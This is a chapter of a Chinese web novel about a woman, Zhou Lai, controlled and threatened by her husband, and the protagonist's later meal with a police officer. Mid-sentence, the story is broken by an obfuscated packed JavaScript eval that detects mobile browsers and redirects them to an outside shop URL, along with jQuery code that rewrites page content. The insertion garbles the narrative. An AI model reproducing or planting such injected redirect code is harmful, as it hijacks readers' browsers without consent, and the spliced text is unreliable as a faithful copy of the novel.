21. 第21章·紫色郁金香(丢掉)^……
作品:《问玄捉诡》 紫色郁金香的花语是“永不磨灭的爱情、永恒的爱和此生不悔”。
从小失去亲人的周莱,朋友很少,亲戚之间更是不来往,为了活下去她不得已在外面奔波。于是,李涛便盯上了她。
在周莱眼里,这个温文尔雅的男人不仅了解她的喜好、而且对她很温柔,会无时无刻地保护她偏爱她。于是,在他送上第一枝紫色郁金香时,她同意了做他的女朋友。
从那儿以后,李涛每天见她都会带给她一枝紫色郁金香。
她问:为什么是郁金香?
他说:因为郁金香的花语是永恒的爱。
她又问:那为什么偏偏是紫色的郁金香?
他说:因为紫色郁金香的花语是永不磨灭的爱情。
他慢慢凑近去看她的眼睛,而他眼中的柔情也快要溢出眼眶:“永不磨灭的爱情,此生不悔。”
于是,她拿着紫色郁金香嫁给了他。
婚后,他依旧每天回家带一枝紫色郁金香,却不再是“送”给她的了。
他将郁金香随意扔在桌上:“放花瓶里好好养着,千万别枯了。”
周莱小心翼翼地将郁金香插进花瓶,不知道什么时候开始她从喜欢听李涛说话变成了害怕听李涛说话。
见她没有回应,他便转身朝她走来,动作轻柔的抚上她的发丝,语气温柔:“怎么了?为什么不回应我?”
周莱一时不知道该说什么。
李涛笑着看向她,明明是笑着的,可说出来的话却带着威胁感:“我不是说了吗?不管我说什么,你都要回应我。”
周莱垂下眸,她不明白,明明之前只会用语言哄她逗她开心的人,如今为什么变成了用语言来伤害她?
她不知道,但她知道的是,这个男人不正常,于是,在不停的精神控制下,她扔掉了花瓶里的郁金香逃了出去。
可没多久,她就被找到了,李涛将她带回家,没有动手、没有惩罚,只是将她按在沙发上,温柔的对她说:“小莱,为什么要扔掉郁金香?为什么要扔掉我的爱?难道你觉得这个世界上除了我以外还会有别人爱你吗?没有了!这个世界上除了我以外没有人会爱你了,所以你只能待在这里!待在我身边,永远待在我身边……”
眼泪从眼眶里滑落下来,他每说一句,周莱的心就被刺痛一下,可即使这样,她依旧没有放弃逃跑,在一个阳光明媚的中午,她毅然决然的再次踏上了逃跑的路程。
这一次,李涛依旧找到了她,而将她带回家后,他却开始发疯,他从厨房拿了把刀来到周莱面前,压低声音:“小莱你为什么要离开?为什么又要离开?我这么爱你,你为什么要离开!你知道你每次离开我,我有多痛苦吗?我痛苦的想杀人!”
他对着周莱低吼,周莱被吓到了。
“隔壁的那个大妈,我早就看她不顺眼了,之前老是在我面前说你不好,不如我现在就去砍了她!”说着,他就要往门口走。
周莱以为他真的会这么做,赶紧抓住他的胳膊,拼命摇头。
“对面那个大爷,他经常偷偷看你,我现在就过去把他的眼睛挖出来!”
“还有楼下的两个老太婆,我老是看见她们俩拉着你说话,你想离开这里一定是她们撺掇的!我现在就下楼杀了她们!”
周莱拼命拉住他:“不是的,不是的,跟他们没关系,是我自己,是我自己的想法,跟其他任何人都没有关系!”
听到她这么说,李涛停下了动作,拿着菜刀摸上她的脸,语气再次变得温柔:“是这样吗?”
周莱疯狂点头。
“不,不对,就是他们撺掇的。”
“不是的不是的。”
“小莱,这样吧,以后你每离开一次我就去杀一个人,直到把这些乱嚼舌根的人全部杀死,你就回来好不好?”
周莱崩溃了,她知道李涛可能真的会这么做,她怕别人真的会因为她出事,所以她只能不甘的点头:“好,我听你的,我不走了,不走了。”
她的心像碎了般,那天她一个人悄悄哭了好久,她不明白老天爷为什么要这么对她。
麻绳总挑细处短,而老天也总是能精确选中善良的那个人让他们受苦。
于是,郁金香再次出现在屋里,她看着花瓶里的郁金香,脸上却再也没了欢喜的表情。
再后来,他们就有了孩子,周莱摸上隆起的肚子,她的心里一点都不期待这个生命的到来。
在生下安安的那一天,周莱从病床上醒来,睁眼就看见了桌上的紫色郁金香。
他们搬到新家后,李涛却告诉别人她不会说话。
周莱惊讶的看着他,但很快就将这股惊讶压了下去,因为从这一刻开始,她的内心就有了一个新的想法,她觉得终究有一天自己会死在李涛手里,所以她开始悄悄写日记,她了解李涛的谨慎心理,于是她只会隔几天写一小页,并且每次写日记都会刻意避开安安,然后再把这页日记藏在他们都不知道的地方。
她想逃离这里,想离开这个充满精神控制的家,离开这个总是有一枝紫色郁金香的地方。
她将日记放进邮筒的那一刻,她闭上了眼睛,她希望有人看见这沓日记后能来找她,也希望自己可以活着离开那里。
如果时间可以重来,她一定不会再喜欢那一枝充满陷阱的郁金香。
她最后成功了吗?对于别人来说或许没有成功,但对她来说或许也算一种成功。
......
陈文雯将日记的大概内容告诉给了问玄亓。
问玄亓心中五味杂陈,两百多年,她其实已经经历了人世间的千千万万,可每次遇见这种事她依旧会感到难过,“为什么他们不是诡而是人”这个问题她问过很多人,陈文雯并不是唯一一个这么告诉她的,可她还是不明白,人间诞生了诡,可为什么又偏偏诞生了似诡的人?
陈文雯见她脸色不对,赶紧开口说道:“你没事吧?”
问玄亓紧皱的眉头舒展开来:“我没事。”
陈文雯显然是不信的,但她也没法做什么,只能安慰道:“你也别想太多,事情已经到了结局,该受惩罚的受惩罚,而该放下的也要放下。”
她看着问玄亓的眼睛:“你应该见过许多不同的人、经历过许多不同的事了吧?从你的身份来讲,这些人和事只不过都是你生命中的过客,所以千万不要馅进去,不然对你自己没有任何好处。”
她的话让问玄亓心里一颤。
陈文雯接着说:“这也是我作为一名过客,真心想对你说的话。”
问玄亓神色黯淡下来,她靠在椅子上:“我知道了。”
陈文雯也不知道她到底有没有听进去,但话已说到,究竟怎么理解就看她自己的了。
“行了,说点别的吧,我们去抓捕李涛时,发现他浑身上下都是伤,尤其是脑袋,破了个大洞,问他是怎么回事,他说他也不知道。”陈文雯扬起嘴角故意问她:“他身上的伤不会是你打的吧?”
问玄亓眼神闪躲,耸起肩:“没有啊,我就是好声好气跟他说的,谁知道他那一身伤怎么弄的,兴许是遭了报应吧。”
陈文雯忍不住“噗嗤”一笑:“行吧,反正他也不记得了,就当是他遭了报应吧。”
问玄亓赞同的点点头。
“对了,你明天有空吗?”陈文雯看向她。
问玄亓:“有啊,怎么了?”
陈文雯用勺子搅拌咖啡:“请你吃个饭,感谢你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318731|198858||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
帮了我这么大一个忙。”
“好啊。”问玄亓想了想没有拒绝。
陈文雯将杯里剩余的咖啡一饮而尽:“行,那明天我给你打电话。”随后,她站起身离开了咖啡厅。
问玄亓则坐在了咖啡厅关门的最后一刻。
第二天早上,问玄亓从睡梦中醒来,她昨天晚上似乎梦到周莱了,周莱还叫她好好睡觉,她听话了,一觉睡到自然醒。
这个方法果然不错,她觉得自己更有精神了。
洗完漱后,她来到厨房简单做了点吃的,毕竟还要留着肚子吃陈警官请的客。
在中午的时候,问玄亓就接到了陈文雯的电话,她换好衣服后开车前往了餐厅。
等她推门而入时,在一个包厢里看见了陈文雯,她笑着朝她招手。
问玄亓走过去坐下,陈文雯将菜单递给她:“你看看想吃什么?”
问玄亓接过菜单:“真的我来点吗?我可从来没有在这家店吃过。”
陈文雯笑笑:“没关系,你放心大胆的点,这家的每一道菜都很好吃。”
“行,那我来看看。”问玄亓翻动着菜单。
陈文雯顺势询问她:“为什么一定要在包厢吃?”
问玄亓的目光一直在菜单上:“因为包厢安静啊,怎么?陈警官不喜欢啊?”
陈文雯笑着否认:“当然没有了,这是请你吃饭,你想在哪儿吃就在哪儿吃。”
问玄亓只是笑了笑,没有说话。
因为是两个人,所以问玄亓并没有点太多菜,当菜全部端上桌时,她也明白了陈文雯为什么会那么说了:
这里的每一道菜都是色香味俱全,简单的一道蒜蓉生菜既有蒜蓉的香,也保留了生菜本身的甘甜。
对于这顿饭,问玄亓很满意,她决定以后要常来这家饭店。
两个人边吃边聊,她们聊了很多,从人间到诡界,又从诡界到人间。
两个人吃的很慢,彼此似乎都知道这顿饭的意义。而当菜全部吃完时,它也为这次的相遇画上了一个句号。
问玄亓走出包厢,在前台结了账。
半个小时后,陈文雯也从包厢里走了出来,看起来有点懵,她来到前台准备结账。
员工笑着对她说:“陈小姐,刚才有位姓问的小姐已经结过了。”
陈文雯满脸疑惑:“姓问的小姐?”
她带着不解回到了车上,翻看着手机,通讯录里有一个名字叫问玄亓,她记得这是跟周莱案件有关的一个路人,但是调查后发现案件跟她没有一点关系,就几乎没怎么联系。
陈文雯心里泛着嘀咕:所以她怎么会给自己结账呢?奇怪。
但由于自己还有许多事没干完,便没时间多想,开着车回到了警局。
……
尤聿离去了一趟冥界,在那里他等了许久终于等来一个人。
那人似乎是故意拖着时间不来见他,而来时也没有什么好脸色:“你来找我做什么?”
尤聿离礼貌的回应:“我想找你帮个忙,这件事跟阿亓有关。”
那人本来想转头回去的,但一听到阿亓两个字,他的双眼一下子亮了起来:“问玄亓?她最近怎么样?”
尤聿离:“她很好。”
随后那人眼珠一转:“要不是看在问玄亓的面子上,我早就把你撵出去了,这个忙我帮了,你回去后记得给她报备。”
“我知道了。”尤聿离轻轻一笑:“多谢。”
那人眼神忽然一变,语气变得冷漠:“尤聿离,你竟然当了师就好好当,千万别给问玄亓丢脸。”
这句话并没有让尤聿离生气,相反,他觉得他说的对:“我一定好好当这个师,绝不辜负她的期望。”

